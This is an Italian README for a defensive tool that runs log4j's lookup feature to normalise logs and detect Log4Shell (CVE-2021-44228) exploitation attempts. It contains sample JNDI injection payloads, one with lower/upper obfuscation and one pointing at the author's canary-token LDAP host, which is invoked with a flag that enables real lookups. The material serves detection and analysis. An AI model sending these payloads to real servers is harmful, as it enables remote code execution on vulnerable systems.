
Alcuni strumenti per aiutare a mitigare Apache Log4j 2 CVE-2021-44228
Alcuni strumenti per aiutare l'analisi di Apache Log4j 2 CVE-2021-44228
Questo strumento usa la funzionalità "lookup" di log4j-2 per testare la vulnerabilità JNDI. L'obiettivo è eseguire facilmente la funzionalità di lookup (per normalizzare i log, ad esempio, o per fare un test reale su alcuni payload - si prega di prestare attenzione).
Per compilare: "make" (per comodità, il file JndiLookup.jar è incluso in questo git).
Una volta compilato, puoi eseguire lo strumento con "java -jar JndiLookup.jar" (la directory log4j con i binari di log4j deve trovarsi nello stesso percorso di JndiLookup.jar)
Senza argomenti, lo strumento JndiLookup legge le righe da stdin e le "converte" usando la funzionalità di lookup di log4j - questo dovrebbe essere utile per normalizzare i log e cercare tentativi di sfruttamento.
Per esempio : cat access.log | java -jar JndiLookup.jar
Se passi una stringa da riga di comando, lo strumento convertirà questa stringa e terminerà (si prega di eseguire l'escape di tutti i caratteri '$').
Per esempio : java -jar JndiLookup.jar java -jar JndiLookup.jar "\${jndi:\${lower:l}\${lower:d}a\${lower:p}://world443.log4j.bin\${upper:a}ryedge.io:80/callback}"
Per impostazione predefinita, il lookup JNDI è disabilitato (e sostituito da una funzione di lookup che aggiungerà solo "jndi:" ma è possibile abilitare il vero lookup JNDI passando il parametro "-X" a JndiLookup ("-X" da passare come primo parametro) ; SIATE MOLTO CAUTI con questo perché potrebbe portare al compromissione del vostro sistema.
Per esempio : java -jar JndiLookup.jar -X "\${jndi:ldap://w8pcb14reujq65vic39pz9amv.canarytokens.com/a}" [ Questo esempio usa uno dei miei canary token, è solo per l'esempio ; sappiate che verrò notificato se usate questo comando - nessun problema da parte mia ma otterrò l'IP da cui viene effettuata la richiesta DNS ]
I seguenti lookup sono abilitati nei binari log4j utilizzati (2.15.0 per l'uso standard, 2.14.1 per l'uso con JNDI abilitato) :
Altri lookup potrebbero essere disponibili a seconda del vostro ambiente :
[ Si prega di vedere https://github.com/apache/logging-log4j2/blob/c30a1398a6697fb832c650870c44284d0052103e/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java per i dettagli sull'attivazione dei plugin di lookup]
Si prega di notare che questo strumento usa il codice reale della funzionalità di lookup di log4j e potrebbe essere vulnerabile a causa di altri problemi di sicurezza (non-JNDI).